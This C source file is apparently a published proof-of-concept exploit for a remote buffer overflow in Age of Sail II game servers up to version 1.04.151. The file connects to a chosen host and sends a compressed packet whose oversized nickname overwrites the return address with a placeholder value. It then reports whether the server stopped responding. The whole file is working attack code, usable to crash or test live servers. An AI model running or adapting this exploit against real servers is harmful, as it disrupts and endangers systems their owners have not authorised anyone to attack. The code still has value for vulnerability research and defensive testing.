/* by Luigi Auriemma */ #include #include #include #include #ifdef WIN32 #include #include #include void std_err(void) { char *error; switch(WSAGetLastError()) { case 10004: error = "Interrupted system call"; break; case 10009: error = "Bad file number"; break; case 10013: error = "Permission denied"; break; case 10014: error = "Bad address"; break; case 10022: error = "Invalid argument (not bind)"; break; case 10024: error = "Too many open files"; break; case 10035: error = "Operation would block"; break; case 10036: error = "Operation now in progress"; break; case 10037: error = "Operation already in progress"; break; case 10038: error = "Socket operation on non-socket"; break; case 10039: error = "Destination address required"; break; case 10040: error = "Message too long"; break; case 10041: error = "Protocol wrong type for socket"; break; case 10042: error = "Bad protocol option"; break; case 10043: error = "Protocol not supported"; break; case 10044: error = "Socket type not supported"; break; case 10045: error = "Operation not supported on socket"; break; case 10046: error = "Protocol family not supported"; break; case 10047: error = "Address family not supported by protocol family"; break; case 10048: error = "Address already in use"; break; case 10049: error = "Can't assign requested address"; break; case 10050: error = "Network is down"; break; case 10051: error = "Network is unreachable"; break; case 10052: error = "Net dropped connection or reset"; break; case 10053: error = "Software caused connection abort"; break; case 10054: error = "Connection reset by peer"; break; case 10055: error = "No buffer space available"; break; case 10056: error = "Socket is already connected"; break; case 10057: error = "Socket is not connected"; break; case 10058: error = "Can't send after socket shutdown"; break; case 10059: error = "Too many references, can't splice"; break; case 10060: error = "Connection timed out"; break; case 10061: error = "Connection refused"; break; case 10062: error = "Too many levels of symbolic links"; break; case 10063: error = "File name too long"; break; case 10064: error = "Host is down"; break; case 10065: error = "No Route to Host"; break; case 10066: error = "Directory not empty"; break; case 10067: error = "Too many processes"; break; case 10068: error = "Too many users"; break; case 10069: error = "Disc Quota Exceeded"; break; case 10070: error = "Stale NFS file handle"; break; case 10091: error = "Network SubSystem is unavailable"; break; case 10092: error = "WINSOCK DLL Version out of range"; break; case 10093: error = "Successful WSASTARTUP not yet performed"; break; case 10071: error = "Too many levels of remote in path"; break; case 11001: error = "Host not found"; break; case 11002: error = "Non-Authoritative Host not found"; break; case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break; case 11004: error = "Valid name, no data record of requested type"; break; default: error = strerror(errno); break; } fprintf(stderr, "\nError: %s\n", error); exit(1); } #define close closesocket #else #include #include #include #include #include #include #endif #define VER "0.1" #define PORT 7732 #define BUFFSZ 2048 #define NICKSZ 144 #define RET 0xdeadc0de #define TIMEOUT 3 int zip_it(u_char *in, int size, u_char *out, int maxsz); int timeout(int sock); u_long resolv(char *host); void std_err(void); int main(int argc, char *argv[]) { struct sockaddr_in peer; int sd, len; u_short port = PORT; u_char buff[BUFFSZ], pck[BUFFSZ]; setbuf(stdout, NULL); fputs("\n" "Age of Sail II <= 1.04.151 server buffer overflow "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@altervista.org\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 2) { printf("\n" "Usage: %s [port(%d)]\n" "\n" " Return address will be overwritten with 0x%08x\n" "\n", argv[0], port, RET); exit(1); } #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif if(argc > 2) port = atoi(argv[2]); peer.sin_addr.s_addr = resolv(argv[1]); peer.sin_port = htons(port); peer.sin_family = AF_INET; sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(sd < 0) std_err(); printf("\n" "- connect to %s:%hu...", inet_ntoa(peer.sin_addr), port); if(connect(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); fputs("ok\n\n", stdout); memset(pck, 0x00, BUFFSZ); // needed *(u_short *)(pck + 4) = 2; // dunno (?) *(u_short *)(pck + 6) = NICKSZ; // nickname size memset(pck + 8, 'a', NICKSZ); // nickname *(u_long *)(pck + 8 + NICKSZ - 4) = RET; // return address *(u_long *)(pck + NICKSZ + 44) = 0xffffffff; // dunno (?) *(u_long *)(pck + NICKSZ + 50) = 0x02060123; // client version len = 8 + NICKSZ + 36 + 6 + 4; *(u_short *)(pck + 2) = len - 4; // size - 4 len = zip_it(pck, len, buff + 4, BUFFSZ - 4) + 4; *(u_long *)buff = len; printf("- send buffer-overflow data, return address will be overwritten with 0x%08x\n", RET); if(send(sd, buff, len, 0) < 0) std_err(); fputs("- check if server is vulnerable:\n", stdout); if((timeout(sd) < 0) || (recv(sd, buff, BUFFSZ, 0) <= 0)) { fputs("\nServer IS vulnerable!!!!!!!\n\n", stdout); } else { fputs("\nServer doesn't seem vulnerable\n\n", stdout); } close(sd); return(0); } int zip_it(u_char *in, int size, u_char *out, int maxsz) { z_stream z; int ret; z.zalloc = (alloc_func)0; z.zfree = (free_func)0; z.opaque = (voidpf)0; if(deflateInit(&z, Z_BEST_COMPRESSION)) { fputs("\nError: zlib initialization error\n", stdout); exit(1); } z.next_in = in; z.avail_in = size; z.next_out = out; z.avail_out = maxsz; deflate(&z, Z_FINISH); ret = z.total_out; deflateEnd(&z); return(ret); } int timeout(int sock) { struct timeval tout; fd_set fd_read; int err; tout.tv_sec = TIMEOUT; tout.tv_usec = 0; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); err = select(sock + 1, &fd_read, NULL, NULL, &tout); if(err < 0) std_err(); if(!err) return(-1); return(0); } u_long resolv(char *host) { struct hostent *hp; u_long host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("\nError: Unable to resolve hostname (%s)\n", host); exit(1); } else host_ip = *(u_long *)(hp->h_addr); } return(host_ip); } #ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif // milw0rm.com [2004-03-03]